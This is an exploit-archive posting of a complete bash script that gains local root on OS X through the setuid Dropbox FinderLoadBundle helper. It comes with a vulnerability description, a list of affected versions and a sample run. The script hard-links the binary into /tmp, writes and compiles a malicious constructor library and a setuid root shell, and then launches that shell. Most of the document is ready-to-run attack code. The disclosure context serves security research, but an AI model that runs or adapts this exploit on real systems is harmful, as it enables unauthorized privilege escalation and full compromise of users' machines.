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Dropbox FinderLoadBundle OS X Local Root Exploit

Dropbox FinderLoadBundle OS X Local Root Exploit
Posted Oct 1, 2015
Authored by cenobyte

The setuid root FinderLoadBundle that was included in older DropboxHelperTools versions for OS X allows loading of dynamically linked shared libraries that are residing in the same directory. The directory in which FinderLoadBundle is located is owned by root and that prevents placing arbitrary files there. But creating a hard link from FinderLoadBundle to somewhere in a directory in /tmp circumvents that protection thus making it possible to load a shared library containing a payload which creates a root shell.

tags | exploit, arbitrary, shell, root
systems | apple, osx
SHA-256 | 2fe41a90799fee4a1fce5da2d6dcba950035afb15b2c3fe6f1dcec5f37e1a3a0

Dropbox FinderLoadBundle OS X Local Root Exploit

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#!/bin/bash
#
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
# <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# The setuid root FinderLoadBundle that was included in older DropboxHelperTools
# versions for OS X allows loading of dynamically linked shared libraries
# that are residing in the same directory. The directory in which
# FinderLoadBundle is located is owned by root and that prevents placing
# arbitrary files there. But creating a hard link from FinderLoadBundle to
# somewhere in a directory in /tmp circumvents that protection thus making it
# possible to load a shared library containing a payload which creates a root
# shell.
#
# - vulnerable versions: | versions not vulnerable:
# Dropbox 3.3.* for Mac | Dropbox 3.10.* for Mac
# Dropbox 3.1.* for Mac | Dropbox 3.9.* for Mac
# Dropbox 3.0.* for Mac | Dropbox 3.8.* for Mac
# Dropbox 2.11.* for Mac | Dropbox 3.7.* for Mac
# Dropbox 2.10.* for Mac | Dropbox 3.6.* for Mac
# Dropbox 2.9.* for Mac | Dropbox 3.5.* for Mac
# Dropbox 2.8.* for Mac | Dropbox 3.4.* for Mac
# Dropbox 2.7.* for Mac | Dropbox 3.2.* for Mac
# Dropbox 2.6.* for Mac | Dropbox 1.5.1-5 for Mac
# Dropbox 2.5.* for Mac | Dropbox 1.4.* for Mac
# Dropbox 2.4.* for Mac | Dropbox 1.3.* for Mac
# Dropbox 2.3.* for Mac |
# Dropbox 2.2.* for Mac |
# Dropbox 2.1.* for Mac |
# Dropbox 1.7.* for Mac |
# Dropbox 1.6.* for Mac |
# Dropbox 1.5.6 for Mac |
#
# The vulnerability was fixed in newer DropboxHelperTools versions as of 3.4.*.
# However, there is no mention of this issue at the Dropbox release notes:
# https://www.dropbox.com/release_notes
#
# It seems that one of the fixes implemented in FinderLoadBundle is a
# check whether the path of the bundle is a root owned directory making it
# impossible to load arbitrary shared libraries as a non-privileged user.
#
# I am not sure how to find the exact version of the FinderLoadBundle executable
# but the included Info.plist contained the following key:
# <key>CFBundleShortVersionString</key>
# This key is no longer present in the plist file of the latest version. So I
# included a basic vulnerable version checker that checks for the presence of
# this key.
#
# - exploit details:
# I wrote this on OS X Yosemite (10.10.5) but there are no OS specific features
# used. This exploit relies on Xcode for the shared library + root shell to be
# compiled. After successful exploitation a root shell is left in a directory in
# /tmp so make sure you delete it on your own system when you are done testing.
#
# - example:
# $ ./dropboxfinderloadbundle.sh
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
#
# [-] creating temporary directory: /tmp/c7a15893fc1b28d31071c16c6663cbf3
# [-] linking /Library/DropboxHelperTools/Dropbox_u501/FinderLoadBundle
# [-] constructing bundle
# [-] creating /tmp/c7a15893fc1b28d31071c16c6663cbf3/boomsh.c
# [-] compiling root shell
# [-] executing FinderLoadBundle using root shell payload
# [-] entering root shell
# bash-3.2# id -P
# root:********:0:0::0:0:System Administrator:/var/root:/bin/sh

readonly __progname=$(basename $0)

errx() {
echo "$__progname: $@" >&2
exit 1
}

main() {
local -r tmp=$(head -10 /dev/urandom | md5)
local -r helpertools="/Library/DropboxHelperTools"
local -r bundle="/tmp/$tmp/mach_inject_bundle_stub.bundle/Contents/MacOS"
local -r bundletarget="$bundle/mach_inject_bundle_stub"
local -r bundlesrc="${bundletarget}.c"
local -r sh="/tmp/$tmp/boomsh"
local -r shsrc="${sh}.c"
local -r cfversion="CFBundleShortVersionString"
local -r findbin="FinderLoadBundle"

echo "Dropbox $findbin OS X local root exploit by cenobyte 2015"
echo

uname -v | grep -q ^Darwin || \
errx "this Dropbox exploit only works on OS X"

[ ! -d "$helpertools" ] && \
errx "$helpertools does not exist"

which -s gcc || \
errx "gcc not found"

found=0
for finder in $(ls $helpertools/Dropbox_u*/$findbin); do
stat -s "$finder" | grep -q "st_mode=0104"
if [ $? -eq 0 ]; then
found=1
break
fi
done

[ $found -ne 1 ] && \
errx "couldn't find a setuid root $findbin"

local -r finderdir=$(dirname $finder)
local -r plist="${finderdir}/DropboxBundle.bundle/Contents/Info.plist"

[ -f "$plist" ] || \
errx "FinderLoadBundle not vulnerable (cannot open $plist)"

grep -q "<key>$cfversion</key>" "$plist" || \
errx "FinderLoadBundle not vulnerable (plist missing $cfversion)"

echo "[-] creating temporary directory: /tmp/$tmp"
mkdir /tmp/$tmp || \
errx "couldn't create /tmp/$tmp"

echo "[-] linking $finder"
ln "$finder" "/tmp/$tmp/$findbin" || \
errx "ln $finder /tmp/$tmp/$findbin failed"

echo "[-] constructing bundle"
mkdir -p "$bundle" || \
errx "cannot create $bundle"

echo "#include <sys/stat.h>" > "$bundlesrc"
echo "#include <sys/types.h>" >> "$bundlesrc"
echo "#include <stdlib.h>" >> "$bundlesrc"
echo "#include <unistd.h>" >> "$bundlesrc"
echo "extern void init(void) __attribute__ ((constructor));" >> "$bundlesrc"
echo "void init(void)" >> "$bundlesrc"
echo "{" >> "$bundlesrc"
echo " setuid(0);" >> "$bundlesrc"
echo " setgid(0);" >> "$bundlesrc"
echo " chown(\"$sh\", 0, 0);" >> "$bundlesrc"
echo " chmod(\"$sh\", S_ISUID|S_IRWXU|S_IXGRP|S_IXOTH);" >> "$bundlesrc"
echo "}" >> "$bundlesrc"

echo "[-] creating $shsrc"
echo "#include <unistd.h>" > "$shsrc"
echo "#include <stdio.h>" >> "$shsrc"
echo "#include <stdlib.h>" >> "$shsrc"
echo "int" >> "$shsrc"
echo "main()" >> "$shsrc"
echo "{" >> "$shsrc"
echo " setuid(0);" >> "$shsrc"
echo " setgid(0);" >> "$shsrc"
echo " system(\"/bin/bash\");" >> "$shsrc"
echo " return(0);" >> "$shsrc"
echo "}" >> "$shsrc"

echo "[-] compiling root shell"
gcc "$shsrc" -o "$sh" || \
errx "gcc failed for $shsrc"

gcc -dynamiclib -o "$bundletarget" "$bundlesrc" || \
errx "gcc failed for $bundlesrc"

echo "[-] executing $findbin using root shell payload"
cd "/tmp/$tmp"
./$findbin mach_inject_bundle_stub.bundle 2>/dev/null 1>/dev/null
[ $? -ne 4 ] && \
errx "exploit failed, $findbin seems not vulnerable"

[ ! -f "$sh" ] && \
errx "$sh was not created, exploit failed"

stat -s "$sh" | grep -q "st_mode=0104" || \
errx "$sh was not set to setuid root, exploit failed"
echo "[-] entering root shell"

"$sh"
}

main "$@"

exit 0
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